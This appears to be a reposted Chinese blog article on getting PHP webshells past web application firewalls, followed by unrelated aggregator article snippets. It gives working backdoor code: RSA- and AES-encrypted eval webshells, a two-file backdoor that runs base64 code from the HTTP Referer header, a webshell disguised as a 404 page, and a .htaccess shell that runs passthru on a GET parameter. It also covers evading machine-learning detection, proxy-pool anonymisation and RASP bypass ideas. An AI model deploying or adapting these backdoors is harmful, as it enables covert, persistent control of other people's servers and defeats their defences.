WAF绕过(下)

过流量检测

这里的流量检测就是在网络层的waf拦截到我们向webshell传输的数据包,以及webshell返回的数据 包,检测其中是否包含敏感信息的一种检测方式。如果是大马的情况下,可以在大马中添加多处判断代码,因此在执行大马提供的功能时不直接传递关键 字,而是只传递标识位,如 A 是端口扫描,B 是 上传文件,流量就可能为 action=A,这可以在一定程度 上绕过检测。但过这种方式更加屡试不爽的方式就是在双端都进行非对称加解密操作,这种方式WAF是绝对不敢拦 的,因为他不可能解析的了数据包,而且正常业务逻辑为了保证数据的完整性和保密性也会如此传递数据。

比较常见的使用 RSA 进行加密(蚁剑 php shell)

$cmd = @$_POST['ant'];
$publicKey = <<<EOF
-----BEGIN PUBLIC KEY-----
Input your Public Key
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$publicKey = openssl_pkey_get_public($publicKey);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $publicKey)) {
$cmd .= $de;
}
}
eval($cmd);

传递的数据格式为:

使用AES加密(冰蝎 php shell):

@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}

传递数据格式为:

我想问问,这谁敢拦啊?

除了 RSA/AES/DES 等方式外,你也可以自己变成编码/加密方式,只要做到传输的数据除了你自己的控 制端鬼都认不出来,那你就成功了,此处需要注意的是,一定要是双端加密,也就是不管是请求包还是响应包,都是密文,双端都有加解密 的操作,不然被WAF识别到了返回包里的敏感内容一样前功尽弃,除了流量加密,还有就是multipart分片发包,在前一段时间的绕WAF技术上也是引起了广泛的讨论 在网上还见了一种层级请求,编码运行PHP后门,通过2个PHP文件实现。

<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}第二个文件
<?php
//2.php header('Content-type:text/html;charset=utf-8');
//要执行的代码 $code = <<<CODE phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i="; //后门url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对 referer这些检测要松一点,或者没有检测。

流量层除了对流量本身的识别模式之外,还有很多的识别方式,比如访问时间、访问次数、访问人员等 等方面的综合判定,都可以识别出异常,这种情况下就要考虑到下面提到的匿名化攻击了。

过机器学习算法检测

随着科技发展,现在越来越多的厂商开始尝试并使用机器学习算法进行恶意文件、恶意流量的检测 不论是使用分类算法、还是使用神经网络、深度学习、异常检测算法,能想到的方式有几种:

收集webshell作为训练样本,训练好的模型进行分类,本质上是黑名单训练,典型的如One Class SVM

  • 有针对性的收集正常PHP业务逻辑代码和流量,进行白名单训练
  • 结合各项特征,完全进行聚类算法
  • 基于统计学,构建概率分布模型
  • 使用孤立森林等算法进行无监督的异常检测
  • 结合更高维度特征,如威胁情报、黑客画像、攻击手法等等,扩展特征维度,弱化代码、流量本身 的权重占比

大多数实现的算法本质上都是提取相关特征进行识别,这种情况下想要绕过检测和识别,是稍微有点头 疼的,因为有时候机器学习模型不需要认识你是恶意代码,只需要发现你跟正常逻辑代码不同就可以 了,但是由于PHP的诸多特性,编写PHP代码的人员水平参差不齐,编写习惯不同,加上早期PHP面向过 程的编制占到了大多数,因此在其中提取统一的相似性的成本和难度大大增加,所以还是可以绕过的, 大体的思路有几种:

1.加密文件

对文件加密后,机器学习算法的识别就产生了巨大的偏差,在某些黑名单算法下无法有效识别,但很容 易被静态检测报出威胁。

2.模拟正常业务代码逻辑

恶意webshell写的越像正常业务代码,越容易绕过检测,无论是静态检测还是机器学习算法,对于流量层面,模拟其他正常业务逻辑的传参方式,必要时完全模拟其他参数的传递,这样可以也可以 污染一些机器学习模型动态学习时的训练数据,使用类、函数进行webshell编写,增加代码互相调用的复杂度同时避免使用常见的webshell中常用的一些字符处理函数,避免某些关键字在训练模型中出现频率较高 导致报警,这部分根据不同的算法绕过的方式也是不同的,需要视情况而定。

3.匿名化进攻

使用白IP进行攻击探测,使用代理池分散恶意流量,在正常业务访问时间进行探测,降低其他维度对攻 击行为的标签,来绕过多维度特征的机器学习算法的检测,这部分超出了PHP代码本身,不再进行讨论。

4.注释

使用注释进行PHP的混淆,对检测源码的机器学习算法是一个巨大的挑战 虽然机器学习模型的杀伤力理论上远远大于基于规则的传统WAF,但是实际上目前在效率和成本的衡量 上目前还是传统WAF占据主流,可能某些大厂在样本数据庞大的情况下可能已经拥有了较好的模型,但 是也不可能拿出来给你用,基于PHP本身的灵活及动态性,可以看到机器学习算法在不使用多维度多方 面的综合考量情况下很难发挥出好的作用。

RASP防御

PHP RASP方案是通过扩展模块实现对规则对应的恶意函数行为、上下文内容的判断和阻断,可以说 RASP 在未来一段时间内将逐渐取代流量层 WAF 称为主流防御方式,RASP 的技术核心就是一个词:Hook,但实际上最关键的并不是 Hook 动作的本身,而是取决于 Hook 之后的操作,安全开发人员根据自身经验进行的检测动作,在php中,调用 eval 等代码执行的函数,最终会调用 php 内核的 zend_compile_string 函数,因此只要 Hook 掉这个函数,把动作限死,一句话类的webshell都失效了,这种情况下我们可以使用小马、大马,直接把功能写出来,就绕过了这个点,但是既然是 RASP,就没那 么简单。现在新版本的这些侵入式的防护产品,除了 Hook 了代码执行这一块,也一并把文件IO,命令执行这些 都做了,根据 web 文件的行为来判断是否是 webshell。典型的比如:读取了非 web 目录下的文件,执 行异常的命令等等。理论上,只要 Hook 做的全,检测规则想的全面,确实是很难绕过的,因为退一万步讲,即使你成功上 传了webshell,你执行的其他动作都是非常规的,都是可以被检测的。但实际上,安全开发人员也是人,不一定能坐到面面俱到,因此,在相关技术没积累到十分成熟之前, 根据实际情况还是可以试一试的。对于OpenRASP WebShell 沙盒检测,已经有大佬 LandGrey 提出想法,利用信息不对称性绕过检测,地 址https://xz.aliyun.com/t/2335。

伪装

讨论了各种检测方式绕过之后,还有一种绕过是针对人的绕过,也就是针对一些管理员、开发人员或者 同行之间,通过各种方式伪装自己的木马,或多或少还是能起到一些作用的。

将页面伪装成404的木马:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

图片马,配合解析漏洞、htaccess、ini配置文件修改,进行隐藏,例如:

<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
RedirectMatch 403 .htaccess$
#.htaccess结尾的403错误,这里是为了增加隐蔽性
AddType application/x-httpd-php .htaccess
#给.htaccess映射php拓展
### SHELL ### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>### KINDLE ###
#恶意的php代码
使用方法:http://localhost/.htaccess/?c=dir

PHP大马编写

在简单了解了上述知识后,为了练习 PHP 编码能力,学以致用,我花了一些时间编写了一个PHP大马, 用作学习总结和免杀测试。

GITHUB地址: https://github.com/JosephTribbianni/Stitch

部分截图:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/840085.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

吉林大学软件工程易错题

1.【单选题】软件工程方法是&#xff08; &#xff09;。 A、为开发软件提供技术上的解决方法 &#xff08;软件工程方法 &#xff09; B、为支持软件开发、维护、管理而研制的计算机程序系统&#xff08;软件工程工具&#xff09; …

Vue 3 的 setup语法糖工作原理

前言 我们每天写vue3项目的时候都会使用setup语法糖&#xff0c;但是你有没有思考过下面几个问题。setup语法糖经过编译后是什么样子的&#xff1f;为什么在setup顶层定义的变量可以在template中可以直接使用&#xff1f;为什么import一个组件后就可以直接使用&#xff0c;无需…

KDE-Ambari-Metrics-Collector问题排查解决手册

文档说明 本文档是为了解决KDE平台的Ambari-Metrics-Collector服务在运行时遇到的问题而提供的问题排查和解决方法的参考文档 说明: 当前的Ambari-Metrics-Collector服务包括了ams-collector和ams-hbase两个程序,在Ambari-Metrics-Collector安装的节点执行ps -elf|grep am…

远动通讯屏具体干啥作用

远动通讯屏具体干啥作用 远动通讯屏主要用于电力系统中的各类发电厂、变电站、光伏电站、开闭所、配电房等&#xff0c;具有实时传输数据和远程控制功能。它的主要作用包括&#xff1a; 数据采集&#xff1a;远动通讯屏能够采集各种模拟量、开关量和数字量等信息&#xff0c…

pod介绍之 容器分类与重启策略

目录 一 pod 基础概念介绍 1&#xff0c;pod 是什么 2&#xff0c;Pod使用方式 3&#xff0c;如何解决一个pod 多容器通信 4&#xff0c;pod 组成 5&#xff0c; k8s 中的 pod 二 pause容器 1&#xff0c;pause容器 是什么 2&#xff0c;pause容器作用 3&#xff…

Vue开发实例(十三)用户登录功能

使用Vue实现登录具有以下几个好处&#xff1a; 响应式界面&#xff1a;Vue框架的响应式特性可以帮助开发者轻松地实现用户登录界面的交互效果&#xff0c;包括表单验证、实时错误提示等&#xff0c;从而提升用户体验。组件化开发&#xff1a;Vue框架支持组件化开发&#xff0c;…

最新版npm详解

如&#xff1a;npm中搜索 jQuery image.png image.png 接地气的描述&#xff1a;npm 类似于如下各大手机应用市场 image.png image.png 查看本地 node 和 npm 是否安装成功 image.png image.png 或 npm install -g npm image.png image.png image.png image.png image.…

【数据库】MySQL

文章目录 概述DDL数据库操作查询使用创建删除 表操作创建约束MySqL数据类型数值类型字符串类型日期类型 查询修改删除 DMLinsertupdatedelete DQL基本查询条件查询分组查询分组查询排序查询分页查询 多表设计一对多一对一多对多设计步骤 多表查询概述内连接外连接 子查询标量子…

这所211专硕22408复试线310分,学硕收调剂!辽宁大学计算机考研考情分析!

辽宁大学信息学院下设计算机科学与技术、电子信息科学与技术、通信工程、信息管理与信息系统、软件工程5个本科专业&#xff0c;有计算机软件与理论、计算机应用技术2个硕士学位授权点&#xff0c;软件工程和计算机技术两个专业硕士学位点&#xff0c;1个计算机应用研究所、1个…

案例题(第一版)

案例题目 软件架构设计考点&#xff08;历年必考&#xff09; 软件架构设计通常在每年的第一题&#xff0c;该题必考 必备概念 必备概念即考试必须要默写出来的概念 概念描述软件架构风格是指描述特定软件系统组织方式和惯用模式。组织方式描述了系统的组成构件和这些构件的组…

在Spring Boot项目中通过自定义注解实现多数据源以及主备数据库切换

在现代的企业应用开发中&#xff0c;使用多数据源是一个常见的需求。尤其在关键应用中&#xff0c;设置主备数据库可以提高系统的可靠性和可用性。在这篇博客中&#xff0c;我将展示如何在Spring Boot项目中通过自定义注解实现多数据源以及主备数据库切换。 在此说明&#xff…

【HTML】制作一个跟随鼠标的流畅线条引导页界面(可直接复制源码)

目录 前言 HTML部分 CSS部分 JS部分 效果图 总结 前言 无需多言&#xff0c;本文将详细介绍一段HTML代码&#xff0c;图中线条可跟随鼠标移动&#xff0c;具体内容如下&#xff1a; 开始 首先新建一个HTML的文本&#xff0c;文本名改为[index.html]&#xff0c;创建好后右…

第十一节 SpringBoot Starter 面试题

一、面试题 很多同学的简历都写着熟悉 SpringBoot&#xff0c; 而 Starter 的实现原理被当作的考题的的情况越来越多。 来源牛客网关于 starter 的一些面试题 情景一、路虎一面 情景二、蔚来 情景三、同花顺 Starter 频频出现&#xff0c;因此在面试准备时&#xff0c;这道题…

mdm 推送证书制作教程

第一步点击获取&#xff0c;点击以后会下载一个zip压缩包 解压以后&#xff1a;会得到四个文件&#xff0c;请务必保存好&#xff0c;待会需要使用 登录apple开发者官网 https://developer.apple.com/account/resources/certificates/list 点击添加证书 找到mdm csr 然后点击…

用Python代码批量提取PDF文件中的表格

PDF文档中常常包含大量数据&#xff0c;尤其是官方报告、学术论文、财务报表等文档&#xff0c;往往包含了结构化的表格数据。表格作为承载关键信息的载体&#xff0c;其内容的准确提取对于数据分析、研究论证乃至业务决策具有重大意义。然而&#xff0c;PDF格式虽保证了文档的…

Vue从入门到实战Day12

一、Pinia快速入门 1. 什么是Pinia Pinia是Vue的最新状态管理工具&#xff0c;是Vuex的替代品 1. 提供更加简单的API&#xff08;去掉了mutation&#xff09; 2. 提供符合组合式风格的API&#xff08;和Vue3新语法统一&#xff09; 3. 去掉了modules的概念&#xff0c;每一…

人工智能应用-实验7-胶囊网络分类minst手写数据集

文章目录 &#x1f9e1;&#x1f9e1;实验内容&#x1f9e1;&#x1f9e1;&#x1f9e1;&#x1f9e1;代码&#x1f9e1;&#x1f9e1;&#x1f9e1;&#x1f9e1;分析结果&#x1f9e1;&#x1f9e1;&#x1f9e1;&#x1f9e1;实验总结&#x1f9e1;&#x1f9e1; &#x1f9…

Python TCP编程简单实例

客户端&#xff1a;创建TCP链接时&#xff0c;主动发起连接的叫做客户端 服务端&#xff1a;接收客户端的连接 连接其他服务器 可以通过tcp连接其他服务器。 示例&#xff1a; import socket# 1.创建一个socket # 参数1&#xff1a;指定协议 AF_INET&#xff08;ipv4&#…

LeetCode1466重新规划路线

题目描述 n 座城市&#xff0c;从 0 到 n-1 编号&#xff0c;其间共有 n-1 条路线。因此&#xff0c;要想在两座不同城市之间旅行只有唯一一条路线可供选择&#xff08;路线网形成一颗树&#xff09;。去年&#xff0c;交通运输部决定重新规划路线&#xff0c;以改变交通拥堵的…

vite项目怎么build打包成不同环境的代码?从而适配不同环境api接口

在开发 Web 应用的过程中&#xff0c;我们需要在不同的环境中运行和测试我们的应用程序&#xff08;如开发环境、测试环境和生产环境&#xff09;。每个环境都有其特定的 API 接口和配置。Vite&#xff0c;一个基于 ESBuild 的前端构建工具&#xff0c;可以帮助我们实现这个需求…